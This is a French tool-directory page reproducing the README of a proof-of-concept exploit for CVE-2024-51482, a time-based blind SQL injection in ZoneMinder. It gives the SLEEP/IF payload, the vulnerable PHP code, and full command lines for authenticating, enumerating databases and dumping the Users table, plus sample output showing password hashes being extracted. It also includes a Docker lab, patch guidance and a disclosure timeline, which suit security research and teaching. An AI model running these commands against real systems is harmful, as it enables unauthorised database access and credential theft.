Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-51482-POC — PoC d'injection SQL basée sur le temps pour CVE-2024-51482 dans ZoneMinder, avec laboratoire Docker reproductible et extraction automatisée de données. | Kitploit
Outils/GitHubGitHub/0xdaeras/cve-2024-51482-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationSécurité des Bases de DonnéesLabs et Pratique
GitHub0xdaeras/cve-2024-51482-poc

CVE-2024-51482-POC

PoC d'injection SQL basée sur le temps pour CVE-2024-51482 dans ZoneMinder, avec laboratoire Docker reproductible et extraction automatisée de données.

Voir le dépôt
76il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

ZoneMinder POC d'injection SQL basée sur le temps avec authentification - CVE-2024-51482

CVE-1 CVSS Python

⚠️ À des fins éducatives et de recherche en sécurité autorisée uniquement. Exécuter cet outil contre des systèmes dont vous n'êtes pas propriétaire ou sans autorisation écrite est illégal.


Table des matières

  • ZoneMinder POC d'injection SQL basée sur le temps avec authentification - CVE-2024-51482
    • Table des matières
    • Aperçu
    • Détails de la vulnérabilité
      • CVE-2024-51482 — Injection SQL aveugle basée sur le temps
      • Cause racine
      • Flux d'attaque
    • Structure du dépôt
    • Prérequis
  • Installation
    • PoC
    • Laboratoire Docker
  • Utilisation
    • Comportement par défaut
    • Écran d'aide
    • Commandes
    • Options de sortie
    • Référence des drapeaux
    • Exemple complet
    • Remarques
    • Laboratoire Docker
  • Exemple de sortie
  • Correction
    • Contre cette CVE
    • Contre des vulnérabilités similaires
  • Calendrier de divulgation
  • Références

  • Aperçu

    Ce dépôt contient un PoC d'injection SQL basée sur le temps ciblant ZoneMinder.

    L'outil permet :

    • Vérification de la vulnérabilité
    • Énumération de la base de données
    • Découverte de tables et de colonnes
    • Vidage complet de tables
    • Export CSV

    Il inclut également un laboratoire Docker entièrement reproductible pour des tests sécurisés.


    Détails de la vulnérabilité

    CVE-2024-51482 — Injection SQL aveugle basée sur le temps

    • ID CVE : CVE-2024-51482
    • Score CVSS v3.1 : 10.0 (Critique)
    • Type de vulnérabilité : Injection SQL aveugle basée sur le temps
    • Versions affectées : ZoneMinder v1.37.* <= 1.37.64
    • Vecteur d'attaque : Point de terminaison authentifié (removetag)
    • Impact : Divulgation complète de la base de données, compromission de l'intégrité des données
    • Authentification requise : Oui (un utilisateur à faibles privilèges suffit)

    Cause racine

    ZoneMinder est un logiciel libre et open source de vidéosurveillance. La vulnérabilité provient d'une validation d'entrée insuffisante dans le point de terminaison removetag de ZoneMinder. L'entrée fournie par l'utilisateur est directement incorporée dans les requêtes SQL sans assainissement ni paramétrage approprié, permettant aux attaquants d'injecter des charges utiles SQL basées sur des booléens malveillantes. L'exploitation utilise :

    root@kitploit:~
    SLEEP(x - IF(condition, 0, x))
    

    pour déduire les données via le temps de réponse.

    Extrait de code vulnérable complet provenant de l'avis du responsable GitHub :

    root@kitploit:~
    case 'removetag' :
        $tagId = $_REQUEST['tid'];
        dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
        $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
        $rowCount = dbNumRows($sql);
        if ($rowCount < 1) {
          $sql = 'DELETE FROM Tags WHERE Id = ?';
          $values = array($_REQUEST['tid']);
          $response = dbNumRows($sql, $values);
          ajaxResponse(array('response'=>$response));
        }
    

    Flux d'attaque

    root@kitploit:~
    Attaquant                              Application Web ZoneMinder
       │                                         │
       │  [Auth]                                 │
       │  POST /zm/index.php                     │
       │  {username, password}                   │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  200 OK + Set-Cookie: ZMSESSID=...      │  ← session authentifiée
       │                                         │
       │  [CVE-2024-51482]                       │
       │  GET /zm/index.php                      │
       │  ?view=request&request=event            │
       │  &action=removetag&tid=<payload>        │
       │────────────────────────────────────────►│
       │                               Requête SQL booléenne exécutée
       │                               IF(condition, pas de délai, SLEEP)
       │◄────────────────────────────────────────│
       │  Réponse retardée (oracle temporel)     │  ← condition déduite
       │                                         │
       │  Requêtes répétées                      │
       │  ASCII(SUBSTRING(query,pos,1))          │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  Différences de temps révèlent les caractères │
       │                                         │
       │  Recherche binaire par caractère         │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  Données extraites (1 caractère à la fois)  │
       │                                         │
       │  SELECT Username, Password FROM Users   │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  Divulgation complète de la base de données │
       │                                         │
       ✓  Exfiltration complète des données via SQLi aveugle
    

    Structure du dépôt

    root@kitploit:~
    CVE-2024-51482/
    ├── exploit.py
    ├── README.md
    ├── requirements.txt
    ├── docker-compose.yml
    ├── .env.example
    ├── docker/
    │   ├── Dockerfile
    │   └── entrypoint.sh
    └── logs/
    

    Prérequis

    • Python 3.8+
    • requests
    • Docker et docker-compose (pour l'environnement de laboratoire)

    Installation

    PoC

    root@kitploit:~
    git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
    cd CVE-2024-51482-POC
    pip install -r requirements.txt
    

    Laboratoire Docker

    root@kitploit:~
    git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
    cd CVE-2024-51482-POC
    cp .env.example .env  # Configurer les variables d'environnement
    docker compose up -d
    

    Utilisation

    Comportement par défaut

    Sans aucun drapeau, l'outil s'authentifie auprès de la cible, vérifie sa vulnérabilité, et si vulnérable, vide les colonnes ID, Username, Password, Name et Email de la table zm.Users (commande dump-users).

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password>
    

    Écran d'aide

    root@kitploit:~
    python exploit.py -h
    

    Commandes

    check

    Vérifie uniquement si la cible est vulnérable.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> check
    

    dump-users

    Vide les colonnes ID, Username, Password, Name et Email de la table zm.Users. Commande par défaut si aucune n'est spécifiée.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> dump-users
    

    list-db

    Liste toutes les bases de données.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> list-db
    

    list-tables

    Liste les tables d'une base de données spécifiée.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
    

    list-columns

    Liste les colonnes d'une table spécifiée.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
    

    dump-table

    Vide toutes les données d'une table spécifiée.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>
    

    Vous pouvez également spécifier les colonnes à vider (par défaut toutes) :

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2
    

    Options de sortie

    Désactiver l'affichage terminal

    root@kitploit:~
    --no-display
    

    Exporter vers CSV

    Si le fichier n'existe pas, il sera créé. S'il existe déjà, les nouveaux résultats seront ajoutés.

    root@kitploit:~
    --outfile results.csv
    

    Référence des drapeaux

    Cible et Authentification

    DrapeauDescriptionExemple
    -t, --targetURL de base de la cible-t http://localhost:8080
    -u, --userNom d'utilisateur pour l'authentification-u admin
    -p, --passwordMot de passe pour l'authentification-p admin
    --cookieUtiliser un cookie ZMSESSID existant au lieu de se connecter--cookie abc123...

    Commandes principales

    CommandeDescriptionExemple
    checkTester si la cible est vulnérable (SQLi temporel)check
    dump-usersVider directement la table zm.Usersdump-users
    list-dbLister toutes les bases de donnéeslist-db
    list-tablesLister les tables d'une base de donnéeslist-tables --db zm
    list-columnsLister les colonnes d'une tablelist-columns --db zm --table Users
    dump-tableVider une table spécifiquedump-table --db zm --table Users

    Options de commande

    DrapeauDescriptionRequisExemple
    --dbNom de la base de donnéesOui (pour opérations sur table/colonne)--db zm
    --tableNom de la tableOui (pour colonne/vidage)--table Users
    --columnsListe séparée par des virgules des colonnes à viderOptionnel--columns Username,Password

    Performances et Exploitation

    DrapeauDescriptionDéfautExemple
    --threadsNombre de threads d'extraction simultanés5--threads 6
    --delayDélai utilisé pour l'injection SQL temporelle3--delay 2
    --no-checkIgnorer la vérification de vulnérabilité avant exploitationFalse--no-check

    Options de sortie

    DrapeauDescriptionExemple
    --outfileEnregistrer la sortie dans un fichier CSV--outfile results.csv
    --no-displayDésactiver l'affichage terminal--no-display

    Journalisation et Affichage

    DrapeauDescriptionDéfautExemple
    -v, --verboseActiver la journalisation de débogageFalse-v
    --log-fileChemin du fichier journallogs/exploit.log--log-file out.log
    --no-colorDésactiver la sortie coloréeFalse--no-color

    Exemple complet

    root@kitploit:~
    python3 exploit.py \
      -t http://localhost:8080 \
      -u admin -p admin \
      dump-table \
      --db zm \
      --table Users \
      --columns Username,Password \
      --threads 6 \
      --delay 2 \
      --outfile dump.csv
    

    Remarques

    • Toutes les commandes nécessitent une authentification (cookie ou identifiants).
    • dump-users est un raccourci pour vider la table zm.Users.
    • Le multi-threading accélère considérablement l'extraction mais peut augmenter la charge sur la cible. 5 threads et un délai de 3 secondes sont des valeurs par défaut sûres. Utilisez des valeurs personnalisées avec prudence.
    • La sortie CSV prend en charge les données structurées et plates (par exemple, liste de bases de données vs vidage complet de table).
    • Utilisez --no-check uniquement si vous êtes sûr que la cible est vulnérable.

    Laboratoire Docker

    Le fichier docker-compose.yml inclus configure une instance vulnérable de ZoneMinder.

    root@kitploit:~
    cp .env.example .env  # Configurer les variables d'environnement
    docker compose up -d
    

    Accédez à l'interface web à l'adresse http://localhost:8080/ (ou votre port personnalisé). Les identifiants par défaut sont admin:admin. Vous pouvez ensuite exécuter l'exploit contre cette instance locale pour des tests.


    Exemple de sortie

    root@kitploit:~
    $ python3 exploit.py -t http://localhost:8080/ -u admin -p admin --outfile ./out.csv dump-table --db zm --table Users --columns Username,Password
                                                                                                                                       
    _________ ____   _______________       ________ _______   ________     _____         .________ ____    _____    ______  ________   
    \_   ___ \\   \ /   /\_   _____/       \_____  \\   _  \  \_____  \   /  |  |        |   ____//_   |  /  |  |  /  __  \ \_____  \  
    /    \  \/ \   Y   /  |    __)_  ______ /  ____//  /_\  \  /  ____/  /   |  |_ ______|____  \  |   | /   |  |_ >      <  /  ____/  
    \     \____ \     /   |        \/_____//       \\  \_/   \/       \ /    ^   //_____//       \ |   |/    ^   //   --   \/       \  
     \______  /  \___/   /_______  /       \_______ \\_____  /\_______ \\____   |       /______  / |___|\____   | \______  /\_______ \ 
            \/                   \/                \/      \/         \/     |__|              \/            |__|        \/         \/ 
                                                                                                                                       
    
    [∗] URL cible : http://localhost:8080/
    [∗] Module : dump-table
    [∗] La sortie sera enregistrée dans : ./out.csv
    
    [∗] Tentative de connexion avec authentification nom d'utilisateur/mot de passe
     🡲  Identifiants : admin:admin
    [+] Authentification réussie en tant qu'utilisateur admin
    
    [∗] Test de vulnérabilité de la cible...
    [+] La cible semble vulnérable (le temps de réponse indique une injection réussie).
    
    [∗] Vidage du contenu de la table zm.Users...
    [+] Colonnes trouvées : Username, Password
    [∗] Récupération du nombre de lignes dans la table...
    [+] La table contient 2 lignes. Début du vidage...
    
    [∗] Progression : 5/5 | admin
    [∗] Progression : 60/60 | $2h$12$NHZs...
    [+] Ligne 1 récupérée : admin, $2h$12$NHZs...
    
    [∗] Progression : 4/4 | flag
    [∗] Progression : 60/60 | $2y$10$1Ei....
    [+] Ligne 2 récupérée : flag, $2y$10$1Ei....
    
    +----------+----------------+
    | Username | Password       |
    +----------+----------------+
    | admin    | $2h$12$NHZs... |
    | flag     | $2y$10$1Ei.... |
    +----------+----------------+
    
    [+] Résultats écrits dans ./out.csv
    [+] Travail terminé. Au revoir !
    

    Correction

    Contre cette CVE

    • Mettez à jour vers ZoneMinder v1.37.65 ou version ultérieure, qui inclut un correctif pour CVE-2024-51482.

    Contre des vulnérabilités similaires

    • Implémentez une validation et un assainissement appropriés des entrées sur toutes les données fournies par l'utilisateur.
    • Utilisez des requêtes paramétrées ou des instructions préparées pour prévenir les injections SQL.

    Calendrier de divulgation

    • 2024-10-31 : L'utilisateur Entropt et l'utilisateur connortechnology divulguent la vulnérabilité sur le GitHub de ZoneMinder.
    • 2024-11-01 : Un correctif est committé dans le dépôt ZoneMinder.
    • 2025-02-13 : La version 1.37.65 est marquée.

    Références

    • Détails de CVE-2024-51482
    • Entrée NIST NVD
    • Site officiel de ZoneMinder
    • Avis de sécurité du responsable GitHub de ZoneMinder
    • Commit de correctif dans le GitHub de ZoneMinder
    • Aide-mémoire OWASP pour la prévention des injections SQL
    Télécharger l’outil